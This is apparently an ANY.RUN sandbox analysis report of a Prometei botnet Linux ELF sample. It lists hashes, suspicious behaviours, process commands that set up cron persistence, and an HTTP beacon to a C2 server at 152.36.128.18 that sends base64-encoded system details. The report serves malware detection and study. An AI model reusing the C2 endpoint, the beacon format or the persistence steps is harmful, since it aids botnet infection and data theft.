File name:

na

Full analysis: https://app.any.run/tasks/dfb650f5-b10c-47f0-9f10-f9b77ac7633c
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: May 18, 2025, 17:00:58
OS: Ubuntu 22.04.2
Tags:
prometei
botnet
Indicators:
MIME: application/x-executable
File info: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
MD5:

1C2069754BBC41334BF86C8E01809408

SHA1:

9D4AEB8BA888F4E87276B51D2034952C33A31E32

SHA256:

B82251C83F9A077DC1756543A8D55A9B4755ABC84C972AEB27890E1A6A151D5D

SSDEEP:

12288:z3WCA0/3AkBpERwU0hC7/ezjYEi0lIw+cL6mrOgyAJ1OpIAkRjN8cvifoVjf4Sv:z3E0/3AkBqwU0cLezjYEi0x3LfrOgyA7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • na.elf (PID: 39868)

    • PROMETEI has been detected

      • crashed.dump (PID: 39897)

  • SUSPICIOUS

    • Reads passwd file

      • crontab (PID: 39875)
      • crontab (PID: 39893)
      • crontab (PID: 39886)

    • Modifies file or directory owner

      • sudo (PID: 39864)

    • Starts itself from another location

      • na.elf (PID: 39868)

    • Executes commands using command-line interpreter

      • sudo (PID: 39867)

    • Modifies Cron jobs

      • dash (PID: 39885)

    • Check the Environment Variables Related to System Identification (os-release)

      • crashed.dump (PID: 39897)

    • Checks how long the system has been running

      • dash (PID: 39907)
      • dash (PID: 39919)

    • Checks all system information (uname)

      • dash (PID: 39911)
      • dash (PID: 39923)

    • Connects to the server without a host name

      • crashed.dump (PID: 39897)

  • INFO

    • Checks timezone

      • crontab (PID: 39875)
      • crontab (PID: 39886)
      • crontab (PID: 39893)
      • uptime (PID: 39908)
      • uptime (PID: 39920)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (49.8)

EXIF

EXE

CPUArchitecture: 64 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: AMD x86-64
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
162
Monitored processes
32
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs na.elf no specs locale-check no specs dash no specs dash no specs chmod no specs crontab no specs tracker-extract-3 no specs dash no specs crontab no specs dash no specs crontab no specs na.elf (deleted) no specs dash no specs #PROMETEI crashed.dump dash no specs hostnamectl no specs systemd-hostnamed no specs dash no specs uptime no specs dash no specs uname no specs dash no specs hostnamectl no specs dash no specs uptime no specs dash no specs uname no specs

Process information

PID
CMD
Path
Indicators
Parent process
39863/bin/sh -c "sudo chown user /tmp/na\.elf && chmod +x /tmp/na\.elf && DISPLAY=:0 sudo -iu user /tmp/na\.elf "/usr/bin/dash—oF5qt7VjSoEVMhQn
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39864sudo chown user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39865chown user /tmp/na.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39866chmod +x /tmp/na.elf/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39867sudo -iu user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39868/tmp/na.elf/tmp/na.elf—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
39869/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39870sh -c "chmod +x /home/user/crashed\.dump"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39871chmod +x /home/user/crashed.dump/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39874sh -c "crontab -l"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
39868na.elf/home/user/crashed.dumpbinary
MD5:—
SHA256:—
39868na.elf/home/user/task.crontext
MD5:—
SHA256:—
39886crontab/var/spool/cron/crontabs/usertext
MD5:—
SHA256:—
39897crashed.dump/home/user/CommIdtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
11
DNS requests
14
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
91.189.91.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
39897
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0JnVzZXJtb2RlDQp1YnVudHUyMg0KDQo0eCBJbnRlbChSKSBDb3JlKFRNKSBpNS02NDAwIENQVSBAIDIuNzBHSHoNCjQwMDA0MzIga0INClFFTVUNClN0YW5kYXJkIFBDIF9pNDQwRlggKyBQSUlYLCAxOTk2Xw0KDQoNClVidW50dSAyMi4wNC4yIExUUyAmIDIyLjA0LjIgTFRTIChKYW1teSBKZWxseWZpc2gpICAmIGJvb2t3b3JtL3NpZCAmIA0KDQovaG9tZS91c2VyLw0KIDE4OjAxOjA3IHVwICAzOjU2LCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAwLjQ4LCAwLjU2LCAwLjU2fDE3NDc1ODc2NjcNCkxpbnV4IHVidW50dTIyIDYuNS4wLTEwMjUtb2VtICMyNi1VYnVudHUgU01QIFBSRUVNUFRfRFlOQU1JQyBUdWUgSnVuIDE4IDEyOjM1OjIyIFVUQyAyMDI0IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KfQ0K&i=36C659SOY768F3M9&h=ubuntu22&enckey=gIHhGjqByHqDa+sH55P72af/ZnNtzuhSBCDNsKOpL28IHjHNwSOhvQhg0O63YcPSwePrekRCzRMCi+CkWDx8RElaZPbNTnlFkMVRQYzYmW6TVPRkUL6PZ9+Cm8mA48JCOzWKU/D3gY+R39DMWDUJu6YLMY+cvXYQKJW2/M2k0zM=
unknown
—
—
unknown
39897
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?r=50&i=36C659SOY768F3M9
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
91.189.91.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.18:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
195.181.175.40:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
39897
crashed.dump
152.36.128.18:80
—
COASTCONNECT-01
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.49
  • 185.125.190.96
  • 91.189.91.98
  • 185.125.190.18
  • 185.125.190.97
  • 91.189.91.48
  • 91.189.91.96
  • 185.125.190.49
  • 185.125.190.98
  • 185.125.190.17
  • 185.125.190.48
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::196
  • 2001:67c:1562::23
  • 2620:2d:4000:1::96
  • 2620:2d:4002:1::198
  • 2001:67c:1562::24
whitelisted
google.com
  • 172.217.16.142
  • 2a00:1450:4001:808::200e
whitelisted
odrs.gnome.org
  • 195.181.175.40
  • 169.150.255.180
  • 195.181.170.19
  • 212.102.56.179
  • 169.150.255.184
  • 207.211.211.27
  • 37.19.194.80
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::107
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.57
  • 185.125.188.54
  • 185.125.188.59
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::42
whitelisted
6.100.168.192.in-addr.arpa
  • —
unknown

Threats

No threats detected
No debug info